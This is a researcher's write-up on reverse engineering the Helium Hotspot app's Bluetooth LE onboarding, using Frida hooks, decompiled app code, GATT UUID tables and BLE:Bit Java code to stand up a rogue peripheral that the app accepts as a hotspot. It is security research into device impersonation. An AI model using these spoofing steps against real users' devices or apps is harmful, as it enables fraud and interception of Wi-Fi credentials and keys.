Reverse Engineering Helium Miner's BLE Comms
This article walks through reverse engineering the Helium Hotspot app to set up a fake (rogue) BLE device that looks like a real hotspot. The goal is to understand how the app communicates over Bluetooth, what data it expects, and how to simulate a real device — all without owning the actual hardware.
Helium devices use the LoRa protocol to provide long-range wireless coverage (up to 50km) for remote sensors. LoRa keys and Wi-Fi credentials are passed to the device either through Bluetooth or Wi-Fi, meaning these values must be transferred somehow — and that’s what we want to intercept and understand.
Since the setup process uses BLE, and I have experience working with BLE systems, this seemed like a good opportunity to explore.
This article discusses the whole procedure of the reverse engineering without skipping any steps and its highly technical article - a write-up basically. For non-technical readers you may skip and go to the summary.
Reverse engineering of Helium Hotspot Application
The goal was to make the Helium mobile app connect to a rogue hotspot created by us. For this to work, the app first scans for nearby Bluetooth devices and then checks if any of them match the expected signature of a genuine Helium device.
The process began by decompiling the APK using the Jadx decompiler.
The next step was to identify how the app filters devices during the scan. This filtering can be based on various broadcasted data, such as services, device name, or MAC address. It was observed that the app uses the Polidea BLE SDK to handle this filtering.
com.polidea.rxandroidble.scan.ScanFilter
The class ScanFilter is responsible for filtering scanned devices. By starting a scan through the Helium application, the app is forced to create an instance of this class in memory. This instance is then located in memory and its contents are printed using dynamic instrumentation, as shown below:
Java.choose("com.polidea.rxandroidble.scan.ScanFilter" , {
onMatch : function(instance){
console.log(instance.toString());
},
onComplete:function(){console.log("finished");}
});
Frida Output:
[Nexus 5X::com.helium.wallet]-> started
BluetoothLeScanFilter [mDeviceName=null, mDeviceAddress=null, mUuid=null, mUuidMask=null, mServiceDataUuid=null, mServiceData=null, mServiceDataMask=null, mManufacturerId=-1, mManufacturerData=null, mManufacturerDataMask=null]
BluetoothLeScanFilter [mDeviceName=null, mDeviceAddress=null, mUuid=0fda92b2-44a2-4af2-84f5-fa682baa2b8d, mUuidMask=null, mServiceDataUuid=null, mServiceData=null, mServiceDataMask=null, mManufacturerId=-1, mManufacturerData=null, mManufacturerDataMask=null]
finished
It was determined that the application uses only the service ID in the advertisement to decide whether to connect to a device.
This service ID is a 128-bit UUID: 0fda92b2-44a2-4af2-84f5-fa682baa2b8d. A search through the source code didn’t reveal any references to it.
To move forward, the next step was to locate where this filter is being set and trace it back through the code.
var Log = Java.use("android.util.Log");
var Exception = Java.use("java.lang.Exception");
var scanfilter = Java.use("com.polidea.rxandroidble.scan.ScanFilter$Builder");
scanfilter.setServiceUuid.overload('android.os.ParcelUuid').implementation = function(uuid){
console.log("uuid: " + uuid.toString());
console.log(Log.getStackTraceString(Exception.$new()));
return scanfilter.setServiceUuid.overload('android.os.ParcelUuid').call(this, uuid);
}
uuid: 0fda92b2-44a2-4af2-84f5-fa682baa2b8d
java.lang.Exception
at com.polidea.rxandroidble.scan.ScanFilter$Builder.setServiceUuid(Native Method)
at com.polidea.multiplatformbleadapter.BleModule.safeStartDeviceScan(BleModule.java:1231)
at com.polidea.multiplatformbleadapter.BleModule.startDeviceScan(BleModule.java:192)
at com.polidea.reactnativeble.BleClientManager.startDeviceScan(BleClientManager.java:182)
at java.lang.reflect.Method.invoke(Native Method)
at com.facebook.react.bridge.JavaMethodWrapper.invoke(JavaMethodWrapper.java:372)
at com.facebook.react.bridge.JavaModuleWrapper.invoke(JavaModuleWrapper.java:151)
at com.facebook.react.bridge.queue.NativeRunnable.run(Native Method)
at android.os.Handler.handleCallback(Handler.java:790)
at android.os.Handler.dispatchMessage(Handler.java:99)
at com.facebook.react.bridge.queue.MessageQueueThreadHandler.dispatchMessage(MessageQueueThreadHandler.java:27)
at android.os.Looper.loop(Looper.java:164)
at com.facebook.react.bridge.queue.MessageQueueThreadImpl$4.run(MessageQueueThreadImpl.java:226)
at java.lang.Thread.run(Thread.java:764)
It appeared that the UUID was being set by multiple methods within the BleModule class.
To proceed, it was necessary to get a clearer understanding of the core classes provided by the Polidea library. Both BleModule and BleClientManager were identified as strong candidates for further inspection, as they implement key BLE functionalities typically involved in reverse engineering—such as connecting, scanning, reading, and writing characteristics.
Functions like discoverAllServicesAndCharacteristicsForDevice and characteristicsForDevice stood out, as they are usually involved in processing discovered services and characteristics, making them ideal starting points.
Log messages were also checked in hopes of finding unique strings that could help trace relevant code during decompilation. Unfortunately, the logs didn’t provide anything useful.
Initially, it didn’t seem like the application was built with React Native. However, by this stage, it became clear that it actually was. At that point, it was tempting to stop due to the added complexity.
npx react-native-decompiler -i ./index.android.bundle -o ./output
thio@re:~/Downloads/Reversing/helium/helium/assets$ npx react-native-decompiler -i ./index.android.bundle -o ./output
npx: installed 178 in 7.646s
Unexpected token {
The main objective at this point was to locate where the BLE functions were being called from. However, there was limited information available to work with.
The JavaScript bundle was beautified, and a search was conducted for key functions such as discoverAllServicesAndCharacteristicsForDevice and characteristicsForDevice. These functions were successfully found within the code, confirming that they were part of the application's logic.
discoverAllServicesAndCharacteristicsForDevice: EA:BC:CC:11:33:13,5
java.lang.Exception
at com.polidea.multiplatformbleadapter.BleModule.discoverAllServicesAndCharacteristicsForDevice(Native Method)
at com.polidea.reactnativeble.BleClientManager.discoverAllServicesAndCharacteristicsForDevice(BleClientManager.java:390)
at java.lang.reflect.Method.invoke(Native Method)
at com.facebook.react.bridge.JavaMethodWrapper.invoke(JavaMethodWrapper.java:372)
at com.facebook.react.bridge.JavaModuleWrapper.invoke(JavaModuleWrapper.java:151)
at com.facebook.react.bridge.queue.NativeRunnable.run(Native Method)
at android.os.Handler.handleCallback(Handler.java:790)
at android.os.Handler.dispatchMessage(Handler.java:99)
at com.facebook.react.bridge.queue.MessageQueueThreadHandler.dispatchMessage(MessageQueueThreadHandler.java:27)
at android.os.Looper.loop(Looper.java:164)
at com.facebook.react.bridge.queue.MessageQueueThreadImpl$4.run(MessageQueueThreadImpl.java:226)
at java.lang.Thread.run(Thread.java:764)
getCharacteristicsForDevice: EA:BC:CC:11:33:13,0fda92b2-44a2-4af2-84f5-fa682baa2b8d
java.lang.Exception
at com.polidea.multiplatformbleadapter.BleModule.getCharacteristicsForDevice(Native Method)
at com.polidea.reactnativeble.BleClientManager.characteristicsForDevice(BleClientManager.java:426)
at java.lang.reflect.Method.invoke(Native Method)
at com.facebook.react.bridge.JavaMethodWrapper.invoke(JavaMethodWrapper.java:372)
at com.facebook.react.bridge.JavaModuleWrapper.invoke(JavaModuleWrapper.java:151)
at com.facebook.react.bridge.queue.NativeRunnable.run(Native Method)
at android.os.Handler.handleCallback(Handler.java:790)
at android.os.Handler.dispatchMessage(Handler.java:99)
at com.facebook.react.bridge.queue.MessageQueueThreadHandler.dispatchMessage(MessageQueueThreadHandler.java:27)
at android.os.Looper.loop(Looper.java:164)
at com.facebook.react.bridge.queue.MessageQueueThreadImpl$4.run(MessageQueueThreadImpl.java:226)
at java.lang.Thread.run(Thread.java:764)
key: "discoverAllServicesAndCharacteristicsForDevice",
value: function(t, n) {
var c;
return s.default.async(function(u) {
for (;;) switch (u.prev = u.next) {
case 0:
return n || (n = this._nextUniqueID()), u.next = 3, s.default.awrap(this._callPromise(p.BleModule.discoverAllServicesAndCharacteristicsForDevice(t, n)));
case 3:
return c = u.sent, u.abrupt("return", new o.Device(c, this));
case 5:
case "end":
return u.stop()
}
}, null, this, null, Promise)
}
React was treated as a black box, used only to extract the necessary strings. The setup placed the Android API as the lower layer, React JavaScript as the upper layer, and the analysis somewhere in between—trying to understand what the React code needed in order to move forward (such as device registration or sending encryption keys).
A search was done within the React code to locate the UUIDs being used.
The good news was that the expected logic was found, and the relevant code was successfully revealed.
}, t.getDeviceInfo = function() {
var n, u, o, c, l, f, p, w, h, v, b;
return s.default.async(function(x) {
for (;;) switch (x.prev = x.next) {
case 0:
return n = t.state.connectedHotspot, x.next = 3, s.default.awrap(n.characteristicsForService(D));
case 3:
return u = x.sent, o = u.find(function(t) {
return t.uuid === A
}), x.next = 7, s.default.awrap(o.read());
case 7:
return c = x.sent, x.next = 10, s.default.awrap(n.characteristicsForService(F));
case 10:
return l = x.sent, f = l.find(function(t) {
return t.uuid === R
}), x.next = 14, s.default.awrap(f.read());
case 14:
return p = x.sent, k.default.logBreadcrumb("wifi read " + p), w = l.find(function(t) {
return t.uuid === j
}), x.next = 19, s.default.awrap(w.read());
case 19:
return h = x.sent, v = l.find(function(t) {
return t.uuid === V
}), k.default.logBreadcrumb("wifiConfiguredCharacteristic " + v), b = {}, x.prev = 23, x.next = 26, s.default.awrap(v.read());
case 26:
b = x.sent, x.next = 32;
break;
case 29:
x.prev = 29, x.t0 = x.catch(23), k.default.sendError(x.t0);
case 32:
return x.abrupt("return", {
wifiSSID: (0, y.fromBs64)(p.value),
wifiConfigured: b,
ethernetOnline: (0, y.fromBs64)(h.value),
firmwareVersion: (0, y.fromBs64)(c.value)
});
case 33:
case "end":
return x.stop()
}
}, null, null, [
The downside was that the code was minified and stripped, making it harder to read. Then again, that wasn’t too bad. The real challenge was dealing with JavaScript itself, which made the process more frustrating than it needed to be.
In the react source there is a very interesting code snippet:
}, t.setWifiCredentials = function(n, u) {
var o, c, l, f;
return s.default.async(function(p) {
for (;;) switch (p.prev = p.next) {
case 0:
return k.default.logBreadcrumb('Bluetooth::setWifiCredentials'), p.next = 3, s.default.awrap((0, x.setWifiServices)(n, u));
case 3:
return o = p.sent, c = t.state.connectedHotspot, p.next = 7, s.default.awrap(c.characteristicsForService(F));
case 7:
return l = p.sent, p.next = 10, s.default.awrap(l.find(function(t) {
return t.uuid === W
}));
case 10:
return f = p.sent, p.next = 13, s.default.awrap(f.writeWithResponse(o));
case 13:
return p.abrupt("return", f);
case 14:
case "end":
return p.stop()
}
Looks like the wifi connection is being setup via Bluetooth. So I wonder how strong the bluetooth security is.
The LoRa keys and wifi keys are transferred via bluetooth so if the bluetooth fails, everything else fails too.
While reviewing the Bluetooth-related code, several UUIDs were identified:
var F = '0fda92b2-44a2-4af2-84f5-fa682baa2b8d',
D = '0000180a-0000-1000-8000-00805f9b34fb',
A = '00002a26-0000-1000-8000-00805f9b34fb',
B = 'd7515033-7e7b-45be-803f-c8737b171a29',
W = '398168aa-0111-4ec0-b1fa-171671270608',
R = '7731de63-bc6a-4100-8ab1-89b2356b038b',
N = 'df3b16ca-c985-4da2-a6d2-9b9b9abdb858',
G = 'd435f5de-01a4-4e7d-84ba-dfd347f60275',
I = '0a852c59-50d3-4492-bfd3-22fe58a24f01',
L = 'd083b2bd-be16-4600-b397-61512ca2f5ad',
U = 'b833d34f-d871-422c-bf9e-8e6ec117d57e',
j = 'e5866bd6-0288-4476-98ca-ef7da6b4d289',
V = 'e125bda4-6fb8-11ea-bc55-0242ac130003',
M = '8cc6e0b3-98c5-40cc-b1d8-692940e6994b',
This was promising, but it raised a question: were these UUIDs for services or characteristics?
Some, like 0000180a-0000-1000-8000-00805f9b34fb and 00002a26-0000-1000-8000-00805f9b34fb, were immediately recognized as standard Bluetooth entries. These are well-known—0000180a... refers to the Device Information service, and 00002a26... is the Firmware Revision String characteristic.
The rest were 128-bit UUIDs, which typically means they're custom and vendor-defined.
When checking the UUID 398168aa-0111-4ec0-b1fa-171671270608 online, it led to a GitHub repository related to the Helium miner—an important discovery.
Characteristic WiFiConnect 398168aa-0111-4ec0-b1fa-171671270608
After some investigation, it became clear that this was an older, deprecated implementation of the Helium miner written in Python. It included references to BlueZ, the Linux Bluetooth stack, indicating that communication was handled over Bluetooth.
There were two possible explanations for the use of Bluetooth:
BLE is required to control the Helium device directly.
BLE is used by the Python-based miner to allow the mobile app to connect and control it.
It turned out that the second scenario was correct. The miner can run in Python, and the mobile app interacts with it over BLE.
So all UUIDs for all services and characteristics along with their descriptions should be there. Awesome. bye javascript world!
The following python file contains all the UUIDs along with their descriptions! found in the github repo just mentioned:
# Firmware UUID
FIRMWARE_VERSION_CHARACTERISTIC_UUID = "00002a26-0000-1000-8000-00805f9b34fb"
# Onboarding Key
ONBOARDING_KEY_CHARACTERISTIC_UUID = "d083b2bd-be16-4600-b397-61512ca2f5ad"
ONBOARDING_KEY_VALUE = "Onboarding Key"
# Public Key
PUBLIC_KEY_CHARACTERISTIC_UUID = "0a852c59-50d3-4492-bfd3-22fe58a24f01"
PUBLIC_KEY_VALUE = "Public Key"
# WiFiServices
WIFI_SERVICES_CHARACTERISTIC_UUID = "d7515033-7e7b-45be-803f-c8737b171a29"
WIFI_SERVICES_VALUE = "WiFi Services"
# WiFiConfiguredServices
WIFI_CONFIGURED_SERVICES_CHARACTERISTIC_UUID = "e125bda4-6fb8-11ea-bc55-0242ac130003"
WIFI_CONFIGURED_SERVICES_VALUE = "WiFi Configured Services"
# WiFiRemove
WIFI_REMOVE_CHARACTERISTIC_UUID = "8cc6e0b3-98c5-40cc-b1d8-692940e6994b"
WIFI_REMOVE_VALUE = "WiFi Remove"
# Diagnostics
DIAGNOSTICS_CHARACTERISTIC_UUID = "b833d34f-d871-422c-bf9e-8e6ec117d57e"
DIAGNOSTICS_VALUE = "Diagnostics"
# Mac address
MAC_ADDRESS_CHARACTERISTIC_UUID = "9c4314f2-8a0c-45fd-a58d-d4a7e64c3a57"
MAC_ADDRESS_VALUE = "Mac Address"
# Lights
LIGHTS_CHARACTERISTIC_UUID = "180efdef-7579-4b4a-b2df-72733b7fa2fe"
LIGHTS_VALUE = "Lights"
# WiFiSSID
WIFI_SSID_CHARACTERISTIC_UUID = "7731de63-bc6a-4100-8ab1-89b2356b038b"
WIFI_SSID_VALUE = "WiFi SSID"
# AssertLocation
ASSERT_LOCATION_CHARACTERISTIC_UUID = "d435f5de-01a4-4e7d-84ba-dfd347f60275"
ASSERT_LOCATION_VALUE = "Assert Location"
# Add Gateway
ADD_GATEWAY_CHARACTERISTIC_UUID = "df3b16ca-c985-4da2-a6d2-9b9b9abdb858"
ADD_GATEWAY_KEY_VALUE = "Add Gateway"
# WiFiConnect
WIFI_CONNECT_CHARACTERISTIC_UUID = "398168aa-0111-4ec0-b1fa-171671270608"
WIFI_CONNECT_KEY_VALUE = "WiFi Connect"
# Ethernet Online
ETHERNET_ONLINE_CHARACTERISTIC_UUID = "e5866bd6-0288-4476-98ca-ef7da6b4d289"
ETHERNET_ONLINE_VALUE = "Ethernet Online"
This also contains very important strings that we must impersonate. We would like to impersonate those as we would like to have a rogue peripheral that mobile application will search and connect to:
FIRMWARE_VERSION = "2021.01.31.1"
DEVINFO_SVC_UUID = "180A"
FIRMWARE_SVC_UUID = "0000180a-0000-1000-8000-00805f9b34fb"
MANUFACTURE_NAME_CHARACTERISTIC_UUID = "2A29"
FIRMWARE_REVISION_CHARACTERISTIC_UUID = "2A26"
SERIAL_NUMBER_CHARACTERISTIC_UUID = "2A25"
USER_DESC_DESCRIPTOR_UUID = "2901"
PRESENTATION_FORMAT_DESCRIPTOR_UUID = "2904"
In their repository i have found the gateway-config repo:
"The Helium configuration application. Manages the configuration of the Helium Hotspot over Bluetooth, and ties together various services over dbus."
"Exposes a GATT BLE tree for configuring the hotspot over Bluetooth.
Signals gateway configuration (public key and Wi-Fi credentials) over dbus.
Listens for GPS location on SPI and signals the current Position of the hotspot over dbus."
So everything is open and no further reversing is needed. 🙁
A new goal
Let’s setup a python miner and connect to it via mobile app
Then, act as a MiTM in BLE Connection and analyze the communication and then setup our rogue Helium Hotspot.
The Twist
Helium previously allowed users to create DIY hotspots and earn tokens, but that option has now been discontinued.
However, the Android application is available in their repository and appears to be open source.
At this point, working with the JavaScript code started to feel a bit more manageable since the JS not is not stripped. Remember, we started by reversing the app without searching anything on the internet, as a blackbox app. Now we have the source code of the app.
export enum Service {
FIRMWARESERVICE_UUID = '0000180a-0000-1000-8000-00805f9b34fb',
MAIN_UUID = '0fda92b2-44a2-4af2-84f5-fa682baa2b8d',
}
export enum FirmwareCharacteristic {
FIRMWAREVERSION_UUID = '00002a26-0000-1000-8000-00805f9b34fb',
}
export enum HotspotCharacteristic {
WIFI_SSID_UUID = '7731de63-bc6a-4100-8ab1-89b2356b038b',
PUBKEY_UUID = '0a852c59-50d3-4492-bfd3-22fe58a24f01',
ONBOARDING_KEY_UUID = 'd083b2bd-be16-4600-b397-61512ca2f5ad',
AVAILABLE_SSIDS_UUID = 'd7515033-7e7b-45be-803f-c8737b171a29',
WIFI_CONFIGURED_SERVICES = 'e125bda4-6fb8-11ea-bc55-0242ac130003',
WIFI_REMOVE = '8cc6e0b3-98c5-40cc-b1d8-692940e6994b',
WIFI_CONNECT_UUID = '398168aa-0111-4ec0-b1fa-171671270608',
ADD_GATEWAY_UUID = 'df3b16ca-c985-4da2-a6d2-9b9b9abdb858',
ASSERT_LOC_UUID = 'd435f5de-01a4-4e7d-84ba-dfd347f60275',
DIAGNOSTIC_UUID = 'b833d34f-d871-422c-bf9e-8e6ec117d57e',
ETHERNET_ONLINE_UUID = 'e5866bd6-0288-4476-98ca-ef7da6b4d289',
}
By inspecting the application's source code, it was concluded that there are two main BLE services. One is the standard Device Information service, which includes the Firmware Revision String. The other is a custom service that holds all the vendor-specific characteristics used by the Helium hotspot.
The following code shows the initialization procedure:
const initialState = {
getState: async () => State.Unknown,
enable: async () => {},
scan: async () => {},
connect: async () => undefined,
discoverAllServicesAndCharacteristics: async () => undefined,
findAndReadCharacteristic: () =>
new Promise<undefined>((resolve) => resolve()),
findAndWriteCharacteristic: () =>
new Promise<undefined>((resolve) => resolve()),
readCharacteristic: () => new Promise<Characteristic>((resolve) => resolve()),
writeCharacteristic: () =>
new Promise<Characteristic>((resolve) => resolve()),
findCharacteristic: async () => undefined,
}
So first i configured all the characteristics and services and then i connected to BLE:Bit.
BLEBit Output:
Read[WiFi_SSID]: 00000000000000000000
Read[PUBKey]: 00000000000000000000
Read[OnBoarding_Key]: 00000000000000000000
No values were assigned to the characteristics yet, since there was no clear information on what the correct values should be.
Here’s how the hotspot configuration process works:
const connectAndConfigHotspot
on useHotspot.ts
.
const connectAndConfigHotspot = async (hotspotDevice: Device) => {
let connectedDevice = hotspotDevice
const connected = await hotspotDevice.isConnected()
if (!connected) {
const device = await connect(hotspotDevice)
if (!device) return
connectedDevice = device
}
const deviceWithServices = await discoverAllServicesAndCharacteristics(
connectedDevice,
)
if (!deviceWithServices) return
connectedHotspot.current = deviceWithServices
const wifi = await getDecodedStringVal(HotspotCharacteristic.WIFI_SSID_UUID)
const ethernetOnline = await getDecodedBoolVal(
HotspotCharacteristic.ETHERNET_ONLINE_UUID,
)
const address = await getDecodedStringVal(HotspotCharacteristic.PUBKEY_UUID)
const onboardingAddress = await getDecodedStringVal(
HotspotCharacteristic.ONBOARDING_KEY_UUID,
)
const type = getHotspotType(onboardingAddress || '')
const name = getHotspotName(type)
const mac = hotspotDevice.localName?.slice(15)
if (!onboardingAddress || onboardingAddress.length < 20) {
Logger.error(
new Error(`Invalid onboarding address: ${onboardingAddress}`),
)
}
const details = {
address,
mac,
type,
name,
wifi,
ethernetOnline,
onboardingAddress,
}
const response = await dispatch(fetchHotspotDetails(details))
return !!response.payload
}
In the following referenced code, the required hotspot name was identified. This name is used by the application to recognize and connect to the device:
export type HotspotName = 'RAK Hotspot Miner' | 'Helium Hotspot'
It was discovered that the application handles some characteristics differently from others. During the initialization stage, there was no code found that validates the actual content of these characteristics—as long as the values can be decoded from base64, they are accepted.
import { decode } from 'base-64'
...
const parseWifi = (value: string): string[] => {
const buffer = util.newBuffer(util.base64.length(value))
util.base64.decode(value, buffer, 0)
return WifiServicesV1.decode(buffer).services
}
const parseDiagnostics = (value: string) => {
const buffer = util.newBuffer(util.base64.length(value))
util.base64.decode(value, buffer, 0)
return DiagnosticsV1.decode(buffer).diagnostics
}
...
export function parseChar(
characteristicValue: string,
uuid:
| typeof HotspotCharacteristic.WIFI_SSID_UUID
| typeof HotspotCharacteristic.PUBKEY_UUID
| typeof HotspotCharacteristic.ONBOARDING_KEY_UUID
| typeof HotspotCharacteristic.WIFI_REMOVE
| typeof HotspotCharacteristic.WIFI_CONNECT_UUID
| typeof HotspotCharacteristic.ADD_GATEWAY_UUID
| typeof FirmwareCharacteristic.FIRMWAREVERSION_UUID,
): string
...
export function parseChar(
characteristicValue: string,
uuid: typeof HotspotCharacteristic.DIAGNOSTIC_UUID,
): DiagnosticInfo
...
export function parseChar(characteristicValue: string, uuid: string) {
switch (uuid) {
case HotspotCharacteristic.DIAGNOSTIC_UUID:
return parseDiagnostics(characteristicValue) as DiagnosticInfo
case HotspotCharacteristic.WIFI_CONFIGURED_SERVICES:
case HotspotCharacteristic.AVAILABLE_SSIDS_UUID:
return parseWifi(characteristicValue)
case HotspotCharacteristic.ETHERNET_ONLINE_UUID: {
const decodedValue = decode(characteristicValue)
return decodedValue === 'true'
}
}
From the code, we can see that the diagnostics, assert_loc, add_gateway, wifi_connect, wifi_remove and wifi_services are decoded and then decoded again by using protobuf: from '@helium/proto-ble'
Setting up the Rogue BLE
It appears that the public key, onboarding key, and WiFi SSID are all treated as simple strings, as shown in the earlier code. Additionally, several parts of the codebase include checks for empty strings.
With that in mind, the next step was to populate these characteristics with random base64-encoded strings, then set up a rogue BLE device using the known device name, characteristic UUIDs, and service UUIDs. The BLE:Bit tool was used to create and advertise this fake device, allowing the Helium app to detect and attempt a connection.
BLEBit Output:
Setting SSID...
Read[WiFi_SSID]: 53..MYAPNAME..30
Setting PubKey...
Read[PUBKey]: 56326868644756325a58
Setting OnBoarding Key...
Read[OnBoarding_Key]: 56326868644756325a58
Read[Avail_SSIDs]: 00000000000000000000
Read[WiFi_Configured]: 00000000000000000000
The setup was successful—the application recognized the rogue device as a Helium hotspot. This confirmed that the WiFi SSID, public key, and onboarding key characteristics were being used by the app during the connection process.
However, for the Available SSIDs and WiFi Configuration characteristics, the app expects data to be encoded using protobuf, as indicated by the source code. The required protobuf definitions were located here:
(Without these definitions, the protobuf payload could be reverse engineered manually, though that approach is often unreliable.)
With the protobuf schemas available, the next step was to understand how the app processes this data. Once that logic is clear, it becomes possible to generate valid protobuf-encoded values and insert them into the corresponding characteristics—fully simulating a rogue hotspot.
Available SSIDs & Wifi Configured Services
Below you may find the code that is responsible for parsing the SSID and Wifi Configured Services:
case HotspotCharacteristic.WIFI_CONFIGURED_SERVICES:
case HotspotCharacteristic.AVAILABLE_SSIDS_UUID:
return parseWifi(characteristicValue)
const parseWifi = (value: string): string[] => {
const buffer = util.newBuffer(util.base64.length(value))
util.base64.decode(value, buffer, 0)
return WifiServicesV1.decode(buffer).services
}
Wifi Services Proto:
syntax = "proto3";
message wifi_services_v1 {
repeated string services = 1;
}
The characteristic available SSIDs is a string array encoded in protobuf which then must be encoded in base64! The same applies for wifi configured services too.
The handling mechanism seems pretty interesting to me at this moment.
Handling BLE Values
The following outlines the high-level logic that ties together all the previous steps observed in the application:
useEffect(() => {
const unsubscribe = navigation.addListener('focus', async () => {
// connect to hotspot
const success = await connectAndConfigHotspot(hotspot)
// check for valid onboarding record
if (!success) {
// TODO actual screen for this
Alert.alert('Error', 'Invalid onboarding record')
navigation.goBack()
return
}
// check firmware
const hasCurrentFirmware = await checkFirmwareCurrent()
if (!hasCurrentFirmware) {
navigation.navigate('FirmwareUpdateNeededScreen')
return
}
// scan for wifi networks
const networks = uniq((await scanForWifiNetworks()) || [])
const connectedNetworks = uniq((await scanForWifiNetworks(true)) || [])
// navigate to next screen
navigation.replace('HotspotSetupPickWifiScreen', {
networks,
connectedNetworks,
})
})
return unsubscribe
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [])
The app begins by connecting to the hotspot and retrieving its current configuration. It then checks a few key details, such as the firmware version. If everything looks valid, it proceeds to scan for available WiFi networks. Once the scan is complete, the app updates the interface to show a screen listing the detected networks.
Checking firmware: (located in useHotspot.ts)
const checkFirmwareCurrent = async (): Promise<boolean> => {
if (!connectedHotspot.current) return false
const characteristic = FirmwareCharacteristic.FIRMWAREVERSION_UUID
const charVal = await findAndReadCharacteristic(
characteristic,
connectedHotspot.current,
Service.FIRMWARESERVICE_UUID,
)
if (!charVal) return false
const deviceFirmwareVersion = parseChar(charVal, characteristic)
const firmware: { version: string } = await getStaking('firmware')
const { version: minVersion } = firmware
dispatch(
connectedHotspotSlice.actions.setConnectedHotspotFirmware({
version: deviceFirmwareVersion,
minVersion,
}),
)
return compareVersions.compare(deviceFirmwareVersion, minVersion, '>=')
}
It seems there is a comparison of the firmware version at the end of the function. That shouldn’t be hard to bypass, as it is a numerical comparison. The firmware version must be greater or equal to the minVersion, whatever that is.
The minVersion is retrieved when getStaking(‘firmware’) is invoked:
export const getStaking = async (url: string) => makeRequest(url)
It’s clear from the code that this is a web request. While monitoring the network traffic, an interesting request was observed. However, the server response did not indicate a successful operation.
GET /app/hotspots/V2hhdGV2ZX HTTP/1.1
authorization: Basic ...
Host: onboarding.dewi.org
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.14.4
Response:
HTTP/1.1 500 Internal Server Error
Server: Cowboy
Connection: close
X-Powered-By: Express
Strict-Transport-Security: max-age=31557600
Content-Type: application/json; charset=utf-8
Content-Length: 106
Etag: W/"6a-fHVDtXb9Hwi2pUWYpbWkUithBb4"
Vary: Accept-Encoding
Date: Fri, 12 Feb 2021 17:35:52 GMT
Via: 1.1 vegur
{"code":500,"errorMessage":"Cannot read property 'Maker' of null","errors":[],"data":null,"success":false}
Decoding the hostspot name sent in request:
echo -n "V2hhdGV2ZX==" | base64 -d
Whateve
That value matched part of what was previously set in one of the three characteristics on the rogue BLE device.
Next, valid SSIDs needed to be created. It's likely that the application compares these SSIDs against networks visible to both the Helium device (in this case, the rogue one) and the mobile phone. So, they must be real and available during the setup process.
Below is the code used to configure the BLE:Bit tool as the rogue station:
// Avail SSIDs
if (characteristic.getUUID().toString().equals("d7515033-7e7b-45be-803f-c8737b171a29"))
{
System.out.println("Setting Avail SSIDs...");
try {
// Build Protobuf
WifiServices.wifi_services_v1.Builder builder = WifiServices.wifi_services_v1.newBuilder();
List<String> ssids = new ArrayList<>();
ssids.add("MyWifiAPName:)");
builder.addAllServices(ssids);
// Encode to protobuf and then base64
byte[] encoded = Base64.getEncoder().encode(builder.build().toByteArray());
// prepare data for transmission
authorized_Data.setAuthorizedData(encoded, encoded.length);
}catch(IOException ioex) {
System.err.println(ioex.getMessage());
}
}
Device Connected - Client Address: 6b:30:56:c6:70:e9 PRIVATE
Connected
Setting SSID...
Read[WiFi_SSID]: 53..MYAPNAME..30
Setting PubKey...
Read[PUBKey]: 563268686444493d
Setting OnBoarding Key...
Read[OnBoarding_Key]: 5632686864444d3d
Setting Avail SSIDs...
Read[Avail_SSIDs]: 4367..AVAIL_WIFIS..13d
Based on the source code, we expect the onboardkey to be retrieved by the application. However, no such read request has been observed via the BLE:Bit.
Application Source code regarding OnBoardKey:
// helium hotspot uses b58 onboarding address and RAK is uuid v4
const getHotspotType = (onboardingAddress: string): HotspotType =>
validator.isUUID(addUuidDashes(onboardingAddress)) ? 'RAK' : 'Helium'
const addUuidDashes = (s = '') =>
`${s.substr(0, 8)}-${s.substr(8, 4)}-${s.substr(12, 4)}-${s.substr(
16,
4,
)}-${s.substr(20)}`
const getHotspotName = (type: HotspotType): HotspotName => {
switch (type) {
case 'RAK':
return 'RAK Hotspot Miner'
default:
case 'Helium':
return 'Helium Hotspot'
}
}
const type = getHotspotType(onboardingAddress || '')
The code shows that the onboarding key must be a 128-bit UUID in raw bytes. However, even when this condition is met, the process doesn't move forward. Instead, the app reports that no WiFi networks were found.
This seemed unusual, so the next step was to disable WiFi on the mobile device and try the process again to observe any differences.
Connected
Setting SSID...
Read[WiFi_SSID]: 53..MYAPNAME..30
Setting PubKey...
Read[PUBKey]: 563268686444493d
Setting OnBoarding Key...
Read[OnBoarding_Key]: 5a4463314d5455774d7a4d335a5464694e4456695a513d3d
Setting OnBoarding Key...
Read[OnBoarding_Key]: 5a4463314d5455774d7a4d335a5464694e4456695a513d3d
Setting Avail SSIDs...
Read[Avail_SSIDs]: 4367..AVAIL_WIFIS..13d
As suspected, the app is looking for an internet connection. So the application is waiting for the server to respond when the onBoardkingKey is used! Then, it continues with BLE operations.
This is where we stop because the research took enough of our time, more than we were willing to allocate.
Conclusions
The process of connecting to a BLE device was successfully reverse-engineered without needing the actual hardware. The required services and characteristics were recreated, and appropriate values were identified and placed correctly to allow the Helium app to proceed with the connection flow.
Sometimes, the process becomes more difficult—especially when dealing with React Native apps and no open-source code is available. While that doesn't make reverse engineering impossible, it does raise the level of effort and complexity required.
A rogue BLE peripheral was successfully created, which tricked the Helium app into providing the expected values. These values could then be used to communicate with the server.
The next logical step would be to scan for a real Helium device and extract its onboarding key, which could then be passed to the server to simulate a real setup. In theory, the entire flow and behavior could also be analyzed through further reverse engineering, without needing direct interaction with the server.
Below you may find the code used to explore the Helium System (BLE:Bit SDK 1.6, BLE:Bit Tool 1.0):
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.List;
import java.util.Scanner;
import java.util.UUID;
import com.fazecast.jSerialComm.SerialPort;
import cybervelia.sdk.controller.BLECharacteristic;
import cybervelia.sdk.controller.BLEService;
import cybervelia.sdk.controller.ce.CEBLEDeviceCallbackHandler;
import cybervelia.sdk.controller.ce.CEController;
import cybervelia.sdk.controller.pe.AdvertisementData;
import cybervelia.sdk.controller.pe.AuthorizedData;
import cybervelia.sdk.controller.pe.NotificationValidation;
import cybervelia.sdk.controller.pe.PEBLEDeviceCallbackHandler;
import cybervelia.sdk.controller.pe.PEConnectionParameters;
import cybervelia.sdk.controller.pe.PEController;
import cybervelia.sdk.controller.pe.callbacks.BondingCallback;
import cybervelia.sdk.controller.pe.callbacks.PEConnectionCallback;
import cybervelia.sdk.controller.pe.callbacks.PENotificationDataCallback;
import cybervelia.sdk.controller.pe.callbacks.PEReadCallback;
